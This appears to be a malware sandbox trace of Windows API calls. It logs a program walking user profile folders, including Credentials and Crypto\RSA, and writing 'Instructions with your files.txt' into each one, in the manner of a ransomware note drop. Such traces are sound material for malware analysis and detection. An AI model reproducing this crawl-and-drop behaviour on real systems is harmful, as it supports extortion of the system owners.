[0132.260] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\..") returned 49
[0132.260] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.260] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
[0132.260] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials") returned 58
[0132.260] GetProcessHeap () returned 0x810000
[0132.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.260] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned 60
[0132.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.261] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\.") returned 60
[0132.261] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.261] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.261] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\..") returned 61
[0132.261] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.261] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0132.261] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\Instructions with your files.txt") returned 91
[0132.261] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\credentials\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.261] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.262] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.262] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.262] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.262] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.263] CloseHandle (hObject=0x118) returned 1
[0132.263] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.263] GetProcessHeap () returned 0x810000
[0132.263] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.263] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
[0132.263] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto") returned 53
[0132.263] GetProcessHeap () returned 0x810000
[0132.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.263] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned 55
[0132.263] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.263] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\.") returned 55
[0132.263] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.263] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.263] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\..") returned 56
[0132.263] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.263] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
[0132.263] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned 57
[0132.263] GetProcessHeap () returned 0x810000
[0132.263] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.263] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned 59
[0132.263] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.264] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\.") returned 59
[0132.264] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.264] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.264] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\..") returned 60
[0132.264] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.264] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0132.264] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\Instructions with your files.txt") returned 90
[0132.264] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\rsa\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.264] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.265] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.265] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.265] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.265] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.265] CloseHandle (hObject=0x11c) returned 1
[0132.265] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.265] GetProcessHeap () returned 0x810000
[0132.265] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.265] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
[0132.267] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\Instructions with your files.txt") returned 86
[0132.267] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.267] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.268] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.268] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.268] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.269] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.269] CloseHandle (hObject=0x118) returned 1
[0132.269] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.269] GetProcessHeap () returned 0x810000
[0132.269] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.269] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
[0132.269] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 64
[0132.269] GetProcessHeap () returned 0x810000
[0132.269] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.269] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned 66
[0132.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.269] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\.") returned 66
[0132.269] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.269] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\..") returned 67
[0132.269] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1
[0132.269] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 77
[0132.269] GetProcessHeap () returned 0x810000
[0132.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.270] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned 79
[0132.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.271] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\.") returned 79
[0132.271] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.271] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.271] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\..") returned 80
[0132.271] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.271] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de4960a, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e1692f0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.271] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 89
[0132.272] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.272] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de234aa, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1
[0132.272] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 95
[0132.272] StrStrIW (lpFirst="Shows Desktop.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.272] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 89
[0132.272] GetProcessHeap () returned 0x810000
[0132.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0132.273] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned 91
[0132.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0132.273] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\.") returned 91
[0132.274] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.274] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\..") returned 92
[0132.274] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.274] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned 110
[0132.274] GetProcessHeap () returned 0x810000
[0132.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89bc00
[0132.275] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned 112
